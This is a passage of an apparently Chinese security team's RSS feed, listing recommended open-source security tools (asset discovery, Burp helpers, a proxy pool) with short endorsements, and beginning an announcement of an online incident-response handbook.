10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">XingRin - 星环是一款攻击面管理平台 (ASM) | 自动化资产发现与漏洞扫描系统</span></strong></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/yyhuni/xingrin" target="_blank">https://github.com/yyhuni/xingrin</a></span></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赞赏理由：</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">网友投票推荐</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x04 MaR</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">MaR</span></strong><span leaf="">（Matcher and Replacement）是一款网络安全（漏洞挖掘）领域下的辅助型项目，主要用于对HTTP协议报文进行精准匹配和智能替换。它可以根据用户定义的规则，在满足特定条件时自动修改HTTP请求或响应内容，帮助安全研究人员在渗透测试过程中实现自动化的数据篡改。</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">MaR</span></strong><span leaf=""> 的设计思想来源于BurpSuite原生的Match and Replace功能，但提供了更加灵活和强大的规则配置能力，支持条件匹配、正则表达式、多作用域等高级特性。</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/gh0stkey/MaR" target="_blank">https://github.com/gh0stkey/MaR</a></span></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赞赏理由：</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">去年就赞赏过他/她们的 HaE 项目，今年网友投票推荐 MaR</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x05 ProxyCat</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">一款部署于云端或本地的隧道代理池中间件，可将静态代理IP灵活运用成隧道IP，提供固定请求地址，一次部署终身使用</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/honmashironeko/ProxyCat" target="_blank">https://github.com/honmashironeko/ProxyCat</a></span></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赞赏理由：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">这类代理池项目之前我们就像写一个了，有其他师傅已经完成了，太棒了</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">网友公众号留言 + 投票推荐</span></p></li></ul></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x06 CaA</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">CaA</span></strong><span leaf=""> 是一款网络安全（漏洞挖掘）领域下的辅助型项目，主要用于分析、拆解HTTP协议报文，提取HTTP协议报文中的参数、路径、文件、参数值等信息，并统计出现的频次，帮助用户构建出具有实战应用价值的Fuzzing字典。除此之外CaA可以生成各类HTTP请求提供给BurpSuite Intruder用于Fuzzing工作。</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf="">CaA</span></strong><span leaf=""> 的设计思想来源于Web Fuzzing技术，皆在帮助用户发现隐藏的漏洞面，通过对信息的收集分析整理，让用户真正意义上的实现</span><strong style="font-weight: bold;color: black;"><span leaf="">数据挖掘</span></strong><span leaf="">。</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/gh0stkey/CaA" target="_blank">https://github.com/gh0stkey/CaA</a></span></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赞赏理由：</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">去年就赞赏过他/她们的 HaE 项目，今年网友投票推荐 CaA</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">感觉这个团队开发的开源项目基本都是面向实际使用场景，解决实际存在的棘手问题，这点很棒！</span></p></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x07 ScopeSentry [更新]</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">Scope Sentry 是一款具有分布式资产测绘、子域名枚举、信息泄露检测、漏洞扫描、目录扫描、子域名接管、爬虫、页面监控功能的工具，通过构建多个节点，自由选择节点运行扫描任务。当出现新漏洞时可以快速排查关注资产是否存在相关组件。</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://github.com/Autumn-27/ScopeSentry" target="_blank">https://github.com/Autumn-27/ScopeSentry</a></span></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赞赏理由:</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">2024 年已经赞赏过该项目， 2025 年1月1日至今有重大更新</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">网友投票推荐，明确推荐其更新功能</span></p></li></ul></blockquote><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x08 itellyou.cn</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">个人性质的原版软件信息收录站点，收集了大量 Windows 系统镜像以及应用程序镜像</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><a href="https://msdn.itellyou.cn/" target="_blank">https://msdn.itellyou.cn/</a> <a href="https://next.itellyou.cn/" target="_blank">https://next.itellyou.cn/</a></span></p></blockquote><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赞赏理由:</span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">itellyou.cn 是很多师傅复现漏洞，下载 Windows 系统的首选下载网站，因此给予赞赏</span></p></blockquote></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=140753e4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247503022%26idx%3D1%26sn%3D42898ef1e5c20670299f96b40322ae70">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 08 Feb 2026 18:11:00 +0800</pubDate>
    </item>
    <item>
      <title>2025年值得赞赏的开源安全项目收集</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503017&amp;idx=1&amp;sn=dbab6deaa5d441031e062a8915da1ca6</link>
      <description></description>
      <content:encoded><![CDATA[<p><span>NOP Team</span> <span></span> <span style="display: inline-block;">北京</span></p>






  
  
  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=97d2be45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7icpL221ib6Yg95UmWickwMPicicLHyKOfQNRzicBFQibM2LV2vj0yFF0pVjOlsodFKNoBNwnwJWESAZwtteyicOY5icqmZXFGh6jDia8AZoiaqGuAmdSs%2F0%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=651a8a39&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247503017%26idx%3D1%26sn%3Ddbab6deaa5d441031e062a8915da1ca6">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 04 Feb 2026 17:10:02 +0800</pubDate>
    </item>
    <item>
      <title>应急响应手册在线版来啦！ 彻底解决 PDF 版痛点！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502973&amp;idx=1&amp;sn=7cc823a278c4787fd7f151fe75eee2e3</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-21 08:01</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭！</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=409d6aea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRewJB8ztCpqcILVqwduP2o31iajxlMpr0s7LgtdVC2CmByKzxydgQPy816btVfFzPZ7FqrG5XO4cibQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="渣" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M00000343SXf0CvoPS_1.jpg" singer="赵英俊" count="0" is_vip="1" duration="295000" music_source="1" listenid="78221634045957056"></mp-common-clmusic></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 0px auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">0x01 简介</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">大家好，我们是 NOP Team ！</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">自 2021 年推出《Linux 应急响应手册》以来，我们的两本手册（Linux 和 Windows 版）一直以 PDF 形式免费分发。在帮助大家学习和解决应急响应问题的过程中，我们收到了许多宝贵反馈。但有几个痛点问题始终未能完美解决：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• PDF 复制代码较为困难，尤其是涉及分页和缩进时。</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• PDF 中搜索或复制中文有时会出现乱码，或搜索不到。</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 许多高校老师朋友希望提供 Word 版本，以满足教学需求。</span></p></li></ul><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">0x02 问题解决尝试</span></h2><h3 data-heading="true" style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">1. 复制代码困难</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我们尝试将较为复杂的代码单独上传至 GitHub 仓库，并在手册中引用链接，让大家可以直接从 GitHub 下载使用。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我们甚至考虑将所有代码集中到一个仓库中，但对许多用户来说，这仍稍显麻烦。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">2. PDF 中的中文困境</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这个问题可以说是个旷日持久的难题，我们尝试过多次解决。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">本质上，这是因为 Typora 主题中的字体缺少部分中文字符，导致某些字符无法搜索或复制时出现乱码。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为此，我们基于现有主题定制了一套 Typora 主题，解决了大部分中文问题。效果是：绝大多数中文可以正常搜索和复制；少部分中文虽无法直接搜索，但复制后无乱码，且复制内容可被搜索到。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">尽管如此，整体效果仍不够完美。</span></p><h3 data-heading="true" style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(15, 76, 129) rgb(15, 76, 129);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">3. Word 版本</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">针对高校老师朋友们申请的 Word 版本需求，我们均已提供。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">然而，我们的手册原本以 Markdown 格式编写，在 Typora 中转换为 Word 后，格式往往一言难尽，基本丧失了原有的排版。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">因此，当用户向我们索要 Word 版本时，我都会事先说明这一情况；但对于高校教学需求，我们还是会尽量提供支持。</span></p><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei 